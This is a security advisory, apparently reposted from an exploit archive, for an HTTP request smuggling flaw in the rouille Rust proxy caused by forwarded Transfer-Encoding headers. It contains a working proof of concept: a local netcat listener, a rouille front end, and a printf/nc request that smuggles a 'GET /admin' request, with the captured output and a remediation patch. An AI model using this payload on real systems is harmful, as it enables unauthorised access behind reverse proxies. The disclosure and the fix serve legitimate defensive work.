Share
## https://sploitus.com/exploit?id=PACKETSTORM:227214
# Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
    
    **Assigned CVE ID:** CVE-2026-67181
    
    ## Summary
    
    `rouille::proxy::proxy` forwards the client's `Transfer-Encoding` header to the
    backend unchanged, but writes the request body that `tiny_http` has already
    de-chunked. It never emits a `Content-Length` of its own. The backend is told the
    body is chunked and handed bytes that are not chunked, so the client, not
    rouille, decides where the backend thinks the body ends.
    
    ## Affected versions
    
    Repo URL: https://github.com/tomaka/rouille
    
    | | |
    |---|---|
    | First affected | 0.3.3 (2016-12-03), the release that introduced `src/proxy.rs` |
    | Last affected | 3.6.2 (2023-04-24), the current release |
    | Not affected | 0.3.2 and earlier, which have no proxy module |
    | Fixed in | no fixed version at time of writing |
    
    `src/proxy.rs` is byte-identical between the 3.6.2 tag and current `master`.
    Only applications calling `proxy::proxy` or `proxy::full_proxy` are affected.
    
    ## Severity
    
    CWE-444 (Inconsistent Interpretation of HTTP Requests).
    
    CVSS 4.0 base score 6.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
    
    ## Threat model
    
    A remote, unauthenticated client sending raw HTTP to a rouille application that
    acts as a reverse proxy. No credentials or user interaction are needed.
    
    The impact depends on the backend. Backends that pipeline regardless of
    `Connection: close`, and any connection-pooling intermediary sitting between
    rouille and the origin, will act on the smuggled request. Backends that honour
    `Connection: close` still end up with a request body different from the one the
    client sent and the one rouille observed.
    
    ## Root cause
    
    `tiny_http` de-chunks whenever any `Transfer-Encoding` header is present and
    discards `Content-Length`.
    
    `tiny_http-0.12.0/src/request.rs`, lines 149 to 159:
    
    ```rust
    149      // finding the content-length header
    150      let content_length = if transfer_encoding.is_some() {
    151          // if transfer-encoding is specified, the Content-Length
    152          // header must be ignored (RFC2616 #4.4)
    153          None
    154      } else {
    ```
    
    `tiny_http-0.12.0/src/request.rs`, lines 218 to 221:
    
    ```rust
    218      } else if transfer_encoding.is_some() {
    219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
    220          // over the message (RFC2616 #3.6)
    221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
    ```
    
    `rouille/src/proxy.rs` then forwards every header except `Connection` and copies
    the decoded body. Lines 167 to 174:
    
    ```rust
    167          if header == "Connection" {
    168              continue;
    169          }
    170  
    171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
    172      }
    173      socket.write_all(b"Connection: close\r\n\r\n")?;
    174      io::copy(&mut data, &mut socket)?;
    ```
    
    The client's `Transfer-Encoding: chunked` survives line 171. Line 174 writes the
    plaintext that `Decoder` produced. No `Content-Length` is ever written, so the
    backend has nothing else to frame on and applies chunked parsing to plaintext
    the attacker chose.
    
    ## Proof of Concept
    
    Step 1. Start a raw listener on port 8001 to act as the backend and show the
    bytes rouille sends.
    
    ```sh
    nc -l 127.0.0.1 8001 | cat -v
    ```
    
    Step 2. Start a rouille front end on port 8000.
    
    ```rust
    use rouille::proxy;
    
    fn main() {
        rouille::start_server("127.0.0.1:8000", |request| {
            proxy::full_proxy(request, proxy::ProxyConfig {
                addr: "127.0.0.1:8001", replace_host: None,
            }).unwrap()
        });
    }
    ```
    
    Step 3. Send a correctly chunked request whose decoded body is itself a chunked
    stream that ends immediately, followed by a second request. The single chunk is
    0x3d = 61 bytes long.
    
    ```sh
    printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
    ```
    
    Result. The listener from step 1 shows rouille announcing chunked framing and
    then sending plaintext:
    
    ```
    POST /public/upload HTTP/1.1
    Host: x
    Transfer-Encoding: chunked
    Connection: close
    
    0
    
    GET /admin HTTP/1.1
    Host: x
    X-Smuggled: yes
    
    ```
    
    A backend honouring `Transfer-Encoding: chunked` reads the chunk-size line `0`,
    concludes the body is empty, and parses the remaining 56 bytes as a new request.
    
    ## Impact
    
    The backend's view of the request body differs from both the bytes the client
    sent and the bytes rouille read. Anything upstream that logs, audits, or mirrors
    the body records something other than what the backend acted on.
    
    Where the backend pipelines despite `Connection: close`, or where a
    connection-pooling intermediary sits between rouille and the origin, the trailing
    bytes become a second request with an attacker-chosen method and path.
    
    The client's `Content-Length` is also forwarded even though `tiny_http` ignored
    it, so a backend that prefers `Content-Length` over `Transfer-Encoding` gets a
    CL.TE desynchronisation directly.
    
    ## Remediation
    
    Do not forward framing headers that describe a body rouille has already decoded.
    In `src/proxy.rs`, extend the skip at line 167:
    
    ```rust
    if header.eq_ignore_ascii_case("Connection")
        || header.eq_ignore_ascii_case("Transfer-Encoding")
        || header.eq_ignore_ascii_case("Content-Length")
    {
        continue;
    }
    ```
    
    Then emit framing that matches what is actually written: buffer the body and
    send an accurate `Content-Length`, or re-chunk it and send
    `Transfer-Encoding: chunked` yourself, before the terminating `\r\n\r\n` on
    line 173.